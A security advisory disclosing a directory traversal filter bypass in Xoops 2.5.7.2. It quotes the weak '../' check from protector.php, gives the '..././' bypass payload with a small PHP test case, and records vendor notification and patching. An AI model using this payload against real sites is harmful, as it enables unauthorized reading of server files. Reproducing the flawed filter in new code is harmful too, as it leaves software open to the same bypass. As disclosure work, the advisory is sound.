Xoops 2.5.7.2 - Directory Traversal Bypass

2016-03-21
ID: 84997
CVE: None
Download vulnerable application: Download
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/XOOPS-DIRECTORY-TRAVERSAL.txt


Vendor:
=============
xoops.org


Product:
================
Xoops 2.5.7.2


Vulnerability Type:
===========================
Directory Traversal Bypass


Vulnerability Details:
=====================

Xoops 2.5.7.2 has checks to defend against directory traversal attacks.
However, they can be easily bypassed by simply issuing "..././" instead of
"../"


References:
http://xoops.org/modules/news/article.php?storyid=6757


Exploit Codes:
==============


In Xoops code in 'protector.php' the following check is made for dot dot
slash "../" in HTTP requests

/////////////////////////////////////////////////////////////////////////////////

if( is_array( $_GET[ $key ] ) ) continue ;
if ( substr( trim( $val ) , 0 , 3 ) == '../' || strstr( $val , '../../' ) )
{
 $this->last_error_type = 'DirTraversal' ;
 $this->message .= "Directory Traversal '$val' found.\n" ;

////////////////////////////////////////////////////////////////////////////////

The above Xoops directory traversal check can be defeated by using
 ..././..././..././..././

you can test the theory by using example below test case by supplying
..././ to GET param.

$val=$_GET['c'];

if ( substr( trim( $val ) , 0 , 3 ) == '../' || strstr( $val , '../../' ) )
{
echo "traversal!";
}else{
echo "ok!" . $val;
}



Disclosure Date:
==================================
Feb 2, 2016: Vendor Notification
Vendor confirms and patches Xoops
March 17, 2016 : Public Disclosure

==================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere. (c) hyp3rlinx.
1-4-2 (www01)